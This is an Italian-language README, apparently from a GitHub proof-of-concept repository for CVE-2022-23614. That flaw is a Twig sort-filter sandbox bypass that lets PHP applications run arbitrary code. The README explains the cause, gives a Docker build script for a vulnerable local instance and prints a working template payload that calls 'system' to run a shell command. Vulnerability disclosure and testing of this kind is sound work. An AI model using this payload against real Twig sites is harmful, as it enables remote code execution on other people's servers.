davwwwx/cve-2022-23614Exploit proof-of-concept per CVE-2022-23614 che dimostra l'esecuzione di codice arbitrario tramite il bypass della sandbox del filtro sort di Twig nelle applicazioni PHP.
Prova di concetto per CVE-2022-23614, GHSA-5mv2-rx3q-4w2v (Esecuzione di codice / bypass sandbox del filtro sort di Twig)
Come si vede in questo commit - https://github.com/twigphp/Twig/commit/.., twig stava passando il nome di funzione fornito dall'utente come parametro callback a uasort (qui), portando quindi a esecuzione arbitraria di codice
Per costruire ed eseguire il container docker con una versione vulnerabile di twig
$ ./build-docker.sh
Apri la pagina web su localhost:1337 e prova a renderizzare il seguente payload
{{ ['id','']|sort('system') }}
PoC
Risultato
